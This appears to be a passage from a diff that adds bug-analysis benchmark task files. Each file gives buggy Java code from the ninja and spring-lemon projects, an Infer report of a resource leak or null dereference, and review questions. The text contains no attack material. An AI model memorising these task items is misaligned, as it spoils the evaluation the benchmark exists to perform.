+
+            // add form parameters:
+            List<BasicNameValuePair> formparams = new ArrayList<BasicNameValuePair>();
+            if (formParameters != null) {
+
+                for (Entry<String, String> parameter : formParameters
+                        .entrySet()) {
+
+                    formparams.add(new BasicNameValuePair(parameter.getKey(),
+                            parameter.getValue()));
+                }
+
+            }
+
+            // encode form parameters and add
+            UrlEncodedFormEntity entity = new UrlEncodedFormEntity(formparams);
+            postRequest.setEntity(entity);
+
+            HttpResponse response;
+
+            response = httpClient.execute(postRequest);
+
+            BufferedReader br = new BufferedReader(new InputStreamReader(
+                    response.getEntity().getContent(), "UTF-8"));
+
+            String output;
+            while ((output = br.readLine()) != null) {
+                sb.append(output);
+            }
+
+            postRequest.releaseConnection();
+
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        return sb.toString();
+
+    }
+
+    public String uploadFile(String url, String paramName, File fileToUpload) {
+
+        String response = null;
+
+        try {
+
+            httpClient.getParams().setParameter(
+                    CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1);
+
+            HttpPost post = new HttpPost(url);
+
+            MultipartEntity entity = new MultipartEntity(
+                    HttpMultipartMode.BROWSER_COMPATIBLE);
+
+            // For File parameters
+            entity.addPart(paramName, new FileBody((File) fileToUpload));
+
+            post.setEntity(entity);
+
+            // Here we go!
+            response = EntityUtils.toString(httpClient.execute(post)
+                    .getEntity(), "UTF-8");
+            post.releaseConnection();
+
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        return response;
+
+    }
+
+    public String makeJsonRequest(String url) {
+
+        Map<String, String> headers = Maps.newHashMap();
+        headers.put("accept", "application/json; charset=utf-8");
+
+        return makeRequest(url, headers);
+
+    }
+    
+    public String makeXmlRequest(String url) {
+
+        Map<String, String> headers = Maps.newHashMap();
+        headers.put("accept", "application/xml; charset=utf-8");
+
+        return makeRequest(url, headers);
+
+    }
+
+    public String postJson(String url, Object object) {
+
+        try {
+            httpClient.getParams().setParameter(
+                    CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1);
+
+            HttpPost post = new HttpPost(url);
+            StringEntity entity = new StringEntity(
+                    new ObjectMapper().writeValueAsString(object), "utf-8");
+            entity.setContentType("application/json; charset=utf-8");
+            post.setEntity(entity);
+            post.releaseConnection();
+
+            // Here we go!
+            return EntityUtils.toString(httpClient.execute(post).getEntity(),
+                    "UTF-8");
+
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+    
+    public String postXml(String url, Object object) {
+
+        try {
+            httpClient.getParams().setParameter(
+                    CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1);
+
+            HttpPost post = new HttpPost(url);
+            StringEntity entity = new StringEntity(
+                    new XmlMapper().writeValueAsString(object), "utf-8");
+            entity.setContentType("application/xml; charset=utf-8");
+            post.setEntity(entity);
+            post.releaseConnection();
+
+            // Here we go!
+            return EntityUtils.toString(httpClient.execute(post).getEntity(),
+                    "UTF-8");
+
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+    
+
+    public void shutdown() {
+        httpClient.getConnectionManager().shutdown();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `InputStreamReader(...)` at line 144 is not released after line 153.
+**Note**: potential exception at line 147
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String NinjaTestBrowser.makeRequest(String,Map)
+
+### Procedure Id:
+ninja.utils.NinjaTestBrowser.makeRequest(java.lang.String,java.util.Map):java.lang.String.458b33f3c269bf107ede6ae28eeccb74
+
+### File:
+ninja-test-utilities/src/main/java/ninja/utils/NinjaTestBrowser.java
+
+### Key:
+NinjaTestBrowser.java|makeRequest|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+5430f5239ea2cbeb891bea330bce6da9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7313/instruction.md b/inferredbugs-7313/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..598839471cf759dcc766663cb3bb5bd207bd76a6
--- /dev/null
+++ b/inferredbugs-7313/instruction.md
@@ -0,0 +1,180 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ninja
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2012-2014 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package ninja.jpa;
+
+import com.google.inject.Inject;
+import com.google.inject.Provider;
+import com.google.inject.persist.PersistService;
+import com.google.inject.persist.UnitOfWork;
+import javax.persistence.EntityManager;
+import org.aopalliance.intercept.MethodInterceptor;
+import org.aopalliance.intercept.MethodInvocation;
+
+/**
+ * See @UnitOfWork.
+ * 
+ * This interceptor tracks and opens and closes your database connections.
+ * 
+ * @author Raphael A. Bauer
+ */
+public class UnitOfWorkInterceptor implements MethodInterceptor {
+
+    final Provider<com.google.inject.persist.UnitOfWork> unitOfWorkProvider;
+    
+    // ThreadLocal<Boolean> tracks if the unit of work was begun 
+    // implicitly by this thread.
+    // According to the docs we can start and end the UnitOfWork as often
+    // as we want. But this has to be balanced in some way. Otherwise we get:
+    //
+    // java.lang.IllegalStateException: Work already begun on this thread. Looks like you have called UnitOfWork.begin() twice without a balancing call to end() in between.
+    // at com.google.inject.internal.util.$Preconditions.checkState(Preconditions.java:142) ~[guice-3.0.jar:na]
+    // at com.google.inject.persist.jpa.JpaPersistService.begin(JpaPersistService.java:66) ~[guice-persist-3.0.jar:na]
+    //    
+    // That way all begin() and end() calls are balanced
+    // because we only have one unit for this thread.
+    final ThreadLocal<Boolean> didWeStartWork = new ThreadLocal<>();
+    
+    final Provider<EntityManager> entityManagerProvider;
+
+    @Inject
+    public UnitOfWorkInterceptor(
+            Provider<com.google.inject.persist.UnitOfWork> unitOfWorkProvider,
+            Provider<EntityManager> entityManagerProvider) {
+        this.unitOfWorkProvider = unitOfWorkProvider;
+        this.entityManagerProvider = entityManagerProvider;
+    }
+
+    @Override
+    public Object invoke(MethodInvocation invocation) throws Throwable {
+        
+        final UnitOfWork unitOfWork;
+        
+        // Only start a new unit of work if the entitymanager is empty
+        // otherwise someone else has started the unit of work already
+        // and we do nothing
+        // Please compare to com.google.inject.persist.jpa.JpaLocalTxnInterceptor
+        // we just mimick that interceptor
+        //
+        // IMPORTANT:
+        // Nesting of begin() end() of unitOfWork is NOT allowed. Contrary to
+        // the documentation of Google Guice as of March 2014.
+        // Related Ninja issue: https://github.com/ninjaframework/ninja/issues/157
+        if (entityManagerProvider.get() == null) {
+        
+            unitOfWork = unitOfWorkProvider.get();
+            unitOfWork.begin();
+            didWeStartWork.set(Boolean.TRUE);
+
+        } else {
+            // If unit of work already started we don't do anything here...
+            // another UnitOfWorkInterceptor point point will take care...
+            // This happens if you are nesting your calls.
+            return invocation.proceed();
+        }
+
+        try {
+
+            return invocation.proceed();
+
+        } finally {
+
+            if (null != didWeStartWork.get()) {
+                
+                didWeStartWork.remove();
+                unitOfWork.end();
+                
+            }
+
+        }
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `unitOfWork` last assigned on line 78 could be null and is dereferenced at line 79.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object UnitOfWorkInterceptor.invoke(MethodInvocation)
+
+### Procedure Id:
+ninja.jpa.UnitOfWorkInterceptor.invoke(org.aopalliance.intercept.MethodInvocation):java.lang.Object.a773fda4dcd326446969708322b6e62a
+
+### File:
+ninja-core/src/main/java/ninja/jpa/UnitOfWorkInterceptor.java
+
+### Key:
+UnitOfWorkInterceptor.java|invoke|NULL_DEREFERENCE
+
+### Node Key:
+25eec8bc2b565fcb7ecd79f1e598eda2
+
+### Hash:
+a7182800fb176974ed1834b9e38a3914
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7314/instruction.md b/inferredbugs-7314/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a60f364af61e1e4f229e87f1a3729e8ab79fd6af
--- /dev/null
+++ b/inferredbugs-7314/instruction.md
@@ -0,0 +1,128 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ninja
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package ninja;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.ClientProtocolException;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.DefaultHttpClient;
+
+public class NinjaApiTestHelper {
+
+	public static String makeJsonRequest(String url) {
+
+		StringBuffer sb = new StringBuffer();
+		try {
+
+			DefaultHttpClient httpClient = new DefaultHttpClient();
+			HttpGet getRequest = new HttpGet(url);
+			getRequest.addHeader("accept", "application/json");
+
+			HttpResponse response;
+
+			response = httpClient.execute(getRequest);
+
+			if (response.getStatusLine().getStatusCode() != 200) {
+				throw new RuntimeException("Failed : HTTP error code : "
+				        + response.getStatusLine().getStatusCode());
+			}
+
+			BufferedReader br = new BufferedReader(new InputStreamReader(
+			        (response.getEntity().getContent())));
+
+			String output;
+			while ((output = br.readLine()) != null) {
+				sb.append(output);
+			}
+
+			httpClient.getConnectionManager().shutdown();
+		} catch (ClientProtocolException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+		return sb.toString();
+
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 33 is not released after line 41.
+**Note**: potential exception at line 36
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String NinjaApiTestHelper.makeJsonRequest(String)
+
+### Procedure Id:
+ninja.NinjaApiTestHelper.makeJsonRequest(java.lang.String):java.lang.String.517105b9f1f5035294b5c8ffc843b247
+
+### File:
+ninja-core-test/src/main/java/ninja/NinjaApiTestHelper.java
+
+### Key:
+NinjaApiTestHelper.java|makeJsonRequest|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+8b540c603a3564db32e65e59d025b769
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7322/instruction.md b/inferredbugs-7322/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c3371c39737a4e49a29a3030ef9c4c420d5a7578
--- /dev/null
+++ b/inferredbugs-7322/instruction.md
@@ -0,0 +1,905 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-lemon
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.naturalprogrammer.spring.lemon;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Optional;
+
+import javax.servlet.http.HttpServletResponse;
+import javax.validation.Valid;
+import javax.validation.constraints.Email;
+import javax.validation.constraints.NotBlank;
+
+import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.exception.ExceptionUtils;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.context.event.ApplicationReadyEvent;
+import org.springframework.context.event.EventListener;
+import org.springframework.security.access.prepost.PreAuthorize;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.core.userdetails.UsernameNotFoundException;
+import org.springframework.security.crypto.password.PasswordEncoder;
+import org.springframework.security.oauth2.core.oidc.StandardClaimNames;
+import org.springframework.transaction.annotation.Propagation;
+import org.springframework.transaction.annotation.Transactional;
+import org.springframework.validation.annotation.Validated;
+
+import com.naturalprogrammer.spring.lemon.LemonProperties.Admin;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUser;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUser.Role;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUser.SignUpValidation;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUserRepository;
+import com.naturalprogrammer.spring.lemon.domain.ChangePasswordForm;
+import com.naturalprogrammer.spring.lemon.mail.LemonMailData;
+import com.naturalprogrammer.spring.lemon.mail.MailSender;
+import com.naturalprogrammer.spring.lemon.permissions.UserEditPermission;
+import com.naturalprogrammer.spring.lemon.security.JwtService;
+import com.naturalprogrammer.spring.lemon.security.LemonSecurityConfig;
+import com.naturalprogrammer.spring.lemon.security.SpringUser;
+import com.naturalprogrammer.spring.lemon.util.LemonUtils;
+import com.naturalprogrammer.spring.lemon.validation.Password;
+import com.nimbusds.jwt.JWTClaimsSet;
+
+/**
+ * The Lemon Service class
+ * 
+ * @author Sanjay Patel
+ *
+ * @param <U>	The User class
+ * @param <ID>	The Primary key type of User class 
+ */
+@Validated
+@Transactional(propagation=Propagation.SUPPORTS, readOnly=true)
+public abstract class LemonService
+	<U extends AbstractUser<U,ID>, ID extends Serializable> {
+
+    private static final Log log = LogFactory.getLog(LemonService.class);
+    
+	private LemonProperties properties;
+	private PasswordEncoder passwordEncoder;
+    private MailSender mailSender;
+	private AbstractUserRepository<U, ID> userRepository;
+	private UserDetailsService userDetailsService;
+	private JwtService jwtService;
+
+	@Autowired
+	public void createLemonService(LemonProperties properties,
+			PasswordEncoder passwordEncoder,
+			MailSender<?> mailSender,
+			AbstractUserRepository<U, ID> userRepository,
+			UserDetailsService userDetailsService,
+			JwtService jwtService) {
+		
+		this.properties = properties;
+		this.passwordEncoder = passwordEncoder;
+		this.mailSender = mailSender;
+		this.userRepository = userRepository;
+		this.userDetailsService = userDetailsService;
+		this.jwtService = jwtService;
+		
+		log.info("Created");
+	}
+
+	
+	abstract public ID parseId(String id);
+
+	
+	/**
+     * This method is called after the application is ready.
+     * Needs to be public - otherwise Spring screams.
+     * 
+     * @param event
+     */
+    @EventListener
+    public void afterApplicationReady(ApplicationReadyEvent event) {
+    	
+    	log.info("Starting up Spring Lemon ...");
+    	onStartup(); // delegate to onStartup()
+    	log.info("Spring Lemon started");	
+    }
+
+    
+	/**
+	 * Creates the initial Admin user, if not found.
+	 * Override this method if needed.
+	 */
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+    public void onStartup() {
+    	
+		try {
+			
+			// Check if the user already exists
+			userDetailsService
+				.loadUserByUsername(properties.getAdmin().getUsername());
+			
+		} catch (UsernameNotFoundException e) {
+			
+			// Doesn't exist. So, create it.
+	    	U user = createAdminUser();
+	    	userRepository.save(user);			
+		}
+	}
+
+
+	/**
+	 * Creates the initial Admin user.
+	 * Override this if needed.
+	 */
+    protected U createAdminUser() {
+		
+    	// fetch data about the user to be created
+    	Admin initialAdmin = properties.getAdmin();
+    	
+    	log.info("Creating the first admin user: " + initialAdmin.getUsername());
+
+    	// create the user
+    	U user = newUser();
+    	user.setEmail(initialAdmin.getUsername());
+		user.setPassword(passwordEncoder.encode(
+			properties.getAdmin().getPassword()));
+		user.getRoles().add(Role.ADMIN);
+		
+		return user;
+	}
+
+    
+	/**
+	 * Creates a new user object. Must be overridden in the
+	 * subclass, like this:
+	 * 
+	 * <pre>
+	 * protected User newUser() {
+	 *    return new User();
+	 * }
+	 * </pre>
+	 */
+    public abstract U newUser();
+
+
+	/**
+	 * Returns the context data to be sent to the client,
+	 * i.e. <code>reCaptchaSiteKey</code> and all the properties
+	 * prefixed with <code>lemon.shared</code>.
+	 * 
+	 * To send custom properties, put those in your application
+	 * properties in the format <em>lemon.shared.fooBar</em>.
+	 * 
+	 * Override this method if needed.
+	 * @param response 
+	 * @param expirationMillis 
+	 */
+	public Map<String, Object> getContext(Optional<Long> expirationMillis, HttpServletResponse response) {
+		
+		log.debug("Getting context ...");
+
+		// make the context
+		Map<String, Object> sharedProperties = new HashMap<String, Object>(2);
+		sharedProperties.put("reCaptchaSiteKey", properties.getRecaptcha().getSitekey());
+		sharedProperties.put("shared", properties.getShared());
+		
+		SpringUser<ID> springUser = LemonUtils.getSpringUser();
+		if (springUser != null)
+			jwtService.addAuthHeader(response, springUser.getUsername(),
+					expirationMillis.orElse(properties.getJwt().getExpirationMillis()));
+		
+		return LemonUtils.mapOf(
+				"context", sharedProperties,
+				"user", LemonUtils.getSpringUser());	
+	}
+	
+	
+	/**
+	 * Signs up a user.
+	 * 
+	 * @param user	data fed by the user
+	 */
+	//@PreAuthorize("isAnonymous()")
+	@Validated(SignUpValidation.class)
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void signup(@Valid U user) {
+		
+		log.debug("Signing up user: " + user);
+
+		initUser(user); // sets right all fields of the user
+		userRepository.save(user);
+		
+		// if successfully committed
+		LemonUtils.afterCommit(() -> {
+		
+			LemonUtils.login(user); // log the user in
+			log.debug("Signed up user: " + user);
+		});
+	}
+	
+	
+	/**
+	 * Initializes the user based on the input data
+	 * 
+	 * @param user
+	 */
+	protected void initUser(U user) {
+		
+		log.debug("Initializing user: " + user);
+
+		user.setPassword(passwordEncoder.encode(user.getPassword())); // encode the password
+		makeUnverified(user); // make the user unverified
+	}
+
+	
+	/**
+	 * Makes a user unverified
+	 * @param user
+	 */
+	protected void makeUnverified(U user) {
+		
+		user.getRoles().add(Role.UNVERIFIED);
+		user.setCredentialsUpdatedMillis(System.currentTimeMillis());
+		LemonUtils.afterCommit(() -> sendVerificationMail(user)); // send a verification mail to the user
+	}
+	
+//	/***
+//	 * Makes a user verified
+//	 * @param user
+//	 */
+//	protected void makeVerified(U user) {
+//		user.getRoles().remove(Role.UNVERIFIED);
+//		user.setCredentialsUpdatedAt(new Date());
+//		//user.setVerificationCode(null);
+//	}
+	
+	
+	/**
+	 * Sends verification mail to a unverified user.
+	 * 
+	 * @param user
+	 */
+	protected void sendVerificationMail(final U user) {
+		try {
+			
+			log.debug("Sending verification mail to: " + user);
+			
+			String verificationCode = jwtService.createToken(JwtService.VERIFY_AUDIENCE,
+					user.getId().toString(), properties.getJwt().getExpirationMillis(),
+					LemonUtils.mapOf("email", user.getEmail()));
+
+			// make the link
+			String verifyLink = properties.getApplicationUrl()
+				+ "/users/" + user.getId() + "/verification?code=" + verificationCode;
+
+			// send the mail
+			sendVerificationMail(user, verifyLink);
+
+			log.debug("Verification mail to " + user.getEmail() + " queued.");
+			
+		} catch (Throwable e) {
+			// In case of exception, just log the error and keep silent
+			log.error(ExceptionUtils.getStackTrace(e));
+		}
+	}	
+
+	
+	/**
+	 * Sends verification mail to a unverified user.
+	 * Override this method if you're using a different MailData
+	 */
+	protected void sendVerificationMail(final U user, String verifyLink) {
+		
+		// send the mail
+		mailSender.send(LemonMailData.of(user.getEmail(),
+			LemonUtils.getMessage("com.naturalprogrammer.spring.verifySubject"),
+			LemonUtils.getMessage(
+				"com.naturalprogrammer.spring.verifyEmail",	verifyLink)));
+	}	
+
+	
+	/**
+	 * Resends verification mail to the user.
+	 * 
+	 * @param user
+	 */
+	@UserEditPermission
+	public void resendVerificationMail(U user) {
+
+		// The user must exist
+		LemonUtils.ensureFound(user);
+		
+		// must be unverified
+		LemonUtils.validate(user.getRoles().contains(Role.UNVERIFIED),
+				"com.naturalprogrammer.spring.alreadyVerified").go();	
+
+		// send the verification mail
+		sendVerificationMail(user);
+	}
+
+	
+	/**
+	 * Fetches a user by email
+	 * 
+	 * @param email
+	 * @return the decorated user object
+	 */
+	public U fetchUserByEmail(@Valid @Email @NotBlank String email) {
+		
+		log.debug("Fetching user by email: " + email);
+		return processUser(userRepository.findByEmail(email).orElse(null));
+	}
+
+	
+	/**
+	 * Returns a non-null, processed user for the client.
+	 * 
+	 * @param user
+	 * @return
+	 */
+	public U processUser(U user) {
+		
+		log.debug("Fetching user: " + user);
+
+		// ensure that the user exists
+		LemonUtils.ensureFound(user);
+		
+		// hide confidential fields
+		user.hideConfidentialFields();
+		
+		return user;
+	}
+	
+	
+	/**
+	 * Verifies the email id of current-user
+	 *  
+	 * @param verificationCode
+	 */
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void verifyUser(ID userId, String verificationCode) {
+		
+		log.debug("Verifying user ...");
+
+		U user = userRepository.findById(userId).orElseThrow(LemonUtils.notFoundSupplier());
+		
+		// ensure that he is unverified
+		LemonUtils.validate(user.hasRole(Role.UNVERIFIED),
+				"com.naturalprogrammer.spring.alreadyVerified").go();	
+		
+		JWTClaimsSet claims = jwtService.parseToken(verificationCode, JwtService.VERIFY_AUDIENCE, user.getCredentialsUpdatedMillis());
+		
+		LemonUtils.ensureAuthority(
+				claims.getSubject().equals(user.getId().toString()) &&
+				claims.getClaim("email").equals(user.getEmail()),
+				"com.naturalprogrammer.spring.wrong.verificationCode");
+		
+		user.getRoles().remove(Role.UNVERIFIED); // make him verified
+		user.setCredentialsUpdatedMillis(System.currentTimeMillis());
+		userRepository.save(user);
+		
+		// after successful commit,
+		LemonUtils.afterCommit(() -> {
+			
+			// Re-login the user, so that the UNVERIFIED role is removed
+			LemonUtils.login(user);
+			log.debug("Re-logged-in the user for removing UNVERIFIED role.");		
+		});
+		
+		log.debug("Verified user: " + user);		
+	}
+
+	
+	/**
+	 * Forgot password.
+	 * 
+	 * @param email	the email of the user who forgot his password
+	 */
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void forgotPassword(@Valid @Email @NotBlank String email) {
+		
+		log.debug("Processing forgot password for email: " + email);
+		
+		// fetch the user record from database
+		U user = userRepository.findByEmail(email)
+				.orElseThrow(LemonUtils.notFoundSupplier());
+
+		mailForgotPasswordLink(user);
+//		
+//		// set a forgot password code
+//		user.setForgotPasswordCode(LemonUtils.uid());
+//		userRepository.save(user);
+//
+//		// after successful commit, mail him a link to reset his password
+//		LemonUtils.afterCommit(() -> mailForgotPasswordLink(user));
+	}
+	
+	
+//	/**
+//	 * Forgot password.
+//	 * 
+//	 * @param email	the email of the user who forgot his password
+//	 */
+//	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+//	public void forgotPassword(U user) {
+//		
+//		log.debug("Processing forgot password for user: " + user);
+//		
+//		// set a forgot password code
+//		user.setForgotPasswordCode(LemonUtils.uid());
+//		userRepository.save(user);
+//
+//		// after successful commit, mail him a link to reset his password
+//		LemonUtils.afterCommit(() -> mailForgotPasswordLink(user));
+//	}
+//	
+//	
+	/**
+	 * Mails the forgot password link.
+	 * 
+	 * @param user
+	 */
+	public void mailForgotPasswordLink(U user) {
+		
+		log.debug("Mailing forgot password link to user: " + user);
+
+		String forgotPasswordCode = jwtService.createToken(JwtService.FORGOT_PASSWORD_AUDIENCE,
+				user.getEmail(), properties.getJwt().getExpirationMillis());
+
+		// make the link
+		String forgotPasswordLink =	properties.getApplicationUrl()
+			    + "/reset-password?code=" + forgotPasswordCode;
+		
+		mailForgotPasswordLink(user, forgotPasswordLink);
+		
+		log.debug("Forgot password link mail queued.");
+	}
+
+	
+	/**
+	 * Mails the forgot password link.
+	 * 
+	 * Override this method if you're using a different MailData
+	 */
+	public void mailForgotPasswordLink(U user, String forgotPasswordLink) {
+		
+		// send the mail
+		mailSender.send(LemonMailData.of(user.getEmail(),
+				LemonUtils.getMessage("com.naturalprogrammer.spring.forgotPasswordSubject"),
+				LemonUtils.getMessage("com.naturalprogrammer.spring.forgotPasswordEmail",
+					forgotPasswordLink)));
+	}
+	
+	/**
+	 * Resets the password.
+	 * 
+	 * @param forgotPasswordCode
+	 * @param newPassword
+	 */
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void resetPassword(
+			@Valid @NotBlank String forgotPasswordCode,
+			@Valid @Password String newPassword) {
+		
+		log.debug("Resetting password ...");
+
+		JWTClaimsSet claims = jwtService.parseToken(forgotPasswordCode,
+				JwtService.FORGOT_PASSWORD_AUDIENCE);
+		
+		String email = claims.getSubject();
+		
+		// fetch the user
+		U user = userRepository.findByEmail(email).orElseThrow(LemonUtils.notFoundSupplier());
+		LemonUtils.ensureCredentialsUpToDate(claims, user);
+		
+		// sets the password
+		user.setPassword(passwordEncoder.encode(newPassword));
+		user.setCredentialsUpdatedMillis(System.currentTimeMillis());
+		//user.setForgotPasswordCode(null);
+		
+		userRepository.save(user);
+		
+		// after successful commit,
+		LemonUtils.afterCommit(() -> {
+			
+			// Login the user
+			LemonUtils.login(user);
+		});
+		
+		log.debug("Password reset.");		
+	}
+
+	
+	/**
+	 * Updates a user with the given data.
+	 * 
+	 * @param user
+	 * @param updatedUser
+	 */
+	@UserEditPermission
+	@Validated(AbstractUser.UpdateValidation.class)
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public SpringUser<ID> updateUser(U user, @Valid U updatedUser) {
+		
+		log.debug("Updating user: " + user);
+
+		// checks
+		LemonUtils.ensureCorrectVersion(user, updatedUser);
+
+		// delegates to updateUserFields
+		updateUserFields(user, updatedUser, LemonUtils.getSpringUser());
+		userRepository.save(user);
+		
+		log.debug("Updated user: " + user);
+		
+		SpringUser<ID> springUser = user.toSpringUser();
+		springUser.setPassword(null);
+		return springUser;
+	}
+	
+	
+	/**
+	 * Changes the password.
+	 * 
+	 * @param user
+	 * @param changePasswordForm
+	 */
+	@UserEditPermission
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public String changePassword(U user, @Valid ChangePasswordForm changePasswordForm) {
+		
+		log.debug("Changing password for user: " + user);
+		
+		// Get the old password of the logged in user (logged in user may be an ADMIN)
+		SpringUser<ID> springUser = LemonUtils.getSpringUser();
+		U loggedIn = userRepository.findById(springUser.getId()).get();
+		String oldPassword = loggedIn.getPassword();
+
+		// checks
+		LemonUtils.ensureFound(user);
+		LemonUtils.validate("changePasswordForm.oldPassword",
+			passwordEncoder.matches(changePasswordForm.getOldPassword(),
+					oldPassword),
+			"com.naturalprogrammer.spring.wrong.password").go();
+		
+		// sets the password
+		user.setPassword(passwordEncoder.encode(changePasswordForm.getPassword()));
+		user.setCredentialsUpdatedMillis(System.currentTimeMillis());
+		userRepository.save(user);
+		
+//		// after successful commit
+//		LemonUtils.afterCommit(() -> {
+//
+//			SpringUser<ID> currentUser = LemonUtils.getSpringUser();
+//			
+////			if (currentUser.getId().equals(user.getId())) { // if current-user's password changed,
+////				
+////				log.debug("Logging out ...");
+////				LemonUtils.logOut(); // log him out
+////			}
+//		});
+//		
+		log.debug("Changed password for user: " + user);
+		return user.toSpringUser().getUsername();
+	}
+
+
+	/**
+	 * Updates the fields of the users. Override this if you have more fields.
+	 * 
+	 * @param user
+	 * @param updatedUser
+	 * @param currentUser
+	 */
+	protected void updateUserFields(U user, U updatedUser, SpringUser<ID> currentUser) {
+
+		log.debug("Updating user fields for user: " + user);
+
+		// User is already decorated while checking the 'edit' permission
+		// So, user.isRolesEditable() below would work
+		
+		// Another good admin must be logged in to edit roles
+		if (currentUser.isGoodAdmin() &&
+		   !currentUser.getId().equals(user.getId())) { 
+			
+			log.debug("Updating roles for user: " + user);
+
+			// update the roles
+			
+			if (user.getRoles().equals(updatedUser.getRoles())) // roles are same
+				return;
+			
+			if (updatedUser.hasRole(Role.UNVERIFIED)) {
+				
+				if (!user.hasRole(Role.UNVERIFIED)) {
+
+					makeUnverified(user); // make user unverified
+				}
+			} else {
+				
